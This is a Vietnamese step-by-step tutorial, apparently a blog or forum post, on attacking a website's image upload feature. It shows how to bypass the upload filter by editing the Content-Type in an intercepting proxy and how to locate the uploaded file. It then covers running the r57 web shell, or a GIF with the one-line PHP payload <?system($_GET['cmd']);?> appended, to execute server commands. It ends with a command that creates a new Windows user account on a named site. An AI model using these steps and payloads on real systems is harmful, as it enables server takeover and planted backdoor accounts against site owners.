Đăng ký một Account để có thể đăng một bài viết và có hình ảnh. Đối với các forum hay website khác cũng cần đăng ký một acc để có thể đăng bài viết.
Login vào bằng một account rồi đăng một bài lên website
- Phần hình ảnh tôi upload Shell r57vn.php
- Chú ý là chưa nhấn nút hoàn thành để Upload bài mà tôi sẽ chỉnh sửa trong Proxy bật tính năng Intercept On lên để toàn bộ nội dung từ trình duyệt sẽ chuyển vào proxy
- Sau đó tôi sẽ vào proxy chỉnh sửa và forward đi
- Bật Intercept On
- Chuyển sang IE nhấn nút “đăng bán hay đăng bài…) để upload thông tin lên websever. Do đặt proxy nên toàn bộ thông tin sẽ chuyển vào proxy
Vào Proxy kiểm tra chúng ta sẽ thấy thông tin:
- Accept (chỉ cho phép các định dạng – tại dòng thứ 2)
- Content-Type của chúng ta lại là: “text/plain” không lằm trong danh mục được upload nên nếu chúng ta cứ forward đi luôn thì file r57vn.php chắc chắn không upload được.
- Tôi chỉnh lại Content-Type là “image/jpeg” là ok và upload lên thành công
Chỉnh sửa content type thành image/jpeg  Nhấn forward để upload file này lên website
- OK tôi đã upload được file r57vn.php lên web server nhưng bây giờ tôi sẽ vào đâu để chạy file này và chính xác ra là đường dẫn file này là thế nào
- Sử dụng Burpsuite với tính năng “Expand Branch” cho phép bạn MAP toàn bộ website sau đó tôi tìm vào mục Upload sẽ thấy file
- Tôi tìm kiếm trong mục upload có file php nào hay không
- File r57vn.php đã được đổi thành file dvt_126888126926.php (mặc định hầu hết các website sẽ đổi tên file upload)
- Để tìm file vừa upload lên tôi có thể sử dụng tools này hoặc có thể sử dụng các tools scan web khác như Acunetix hoặc IBM App Scan
Giờ tôi chạy file này: đây chính là con Shell r57vn.php tôi đã upload thành công lên máy chủ web. Với shell này tôi có thể làm được khá nhiều tính năng
c. Thực hiện Phương án 2 – Chạy command line trên server
Đối với một số website kiểm tra nội dung của file upload để xem file đó có phải là định dạng được cho phép hay không thì chúng ta có thể lách qua bằng cách.
Bước 1: Dùng Paint tạo ra một file .gif
Bước 2: Dùng notepad mở file .gif này
Bước 3: thêm vào cuối nội dung file câu lệnh: <?system($_GET["cmd"]);?>
Bước 4: Đổi file này thành file .php (sẽ vượt qua được các website check nội dung file)
Bước 5: Dùng kỹ thuật trên Upload file này lên website
Bước 6: Tìm vị trí file (URL của file)
Bước 7: chạy file này bằng cách: http://…./…php?cmd=”câu lệnh trong windows hoặc linux”
Bước 1: Dùng Paint tạo file .gif. Vào paint viết chữ gì cũng dc save as ra dạng file .gif. Tôi Save ra file tobatdat.gif
Bước 2 & 3: Dùng notepad mở file này sau đó thêm vào cuối đoạn mã: <?system($_GET["cmd"]);?> rồi save lại
Bước 4: Đổi file này sang file .php
Bước 5: Sử dụng Intercepting Proxy để upload file này lên webserver
Chúng ta sẽ thấy dữ liệu khi Brower Upload lên server với Content-Type đã trở thành: image/gif bởi đoạn mã kiểm tra nội dung file sẽ phát hiện ra đây là file ảnh. Giờ chúng ta chỉ cần forward đi là OK
Bước 6: Kiểm tra URL. Sau khi Upload file này lên webserver tôi dùng tools Burpsuite để expand branch sẽ phát hiện file mới upload lên
Phát hiện file:
Bước 7: Chạy command line trên máy chủ web
Dùng firefox vào Url này
Chúng ta thử gõ thêm
http://tocbatdat.com/vnss_raovat/upl…10.php?cmd=net user tocbatdat100 yeuemnhieu /add
Và kết quả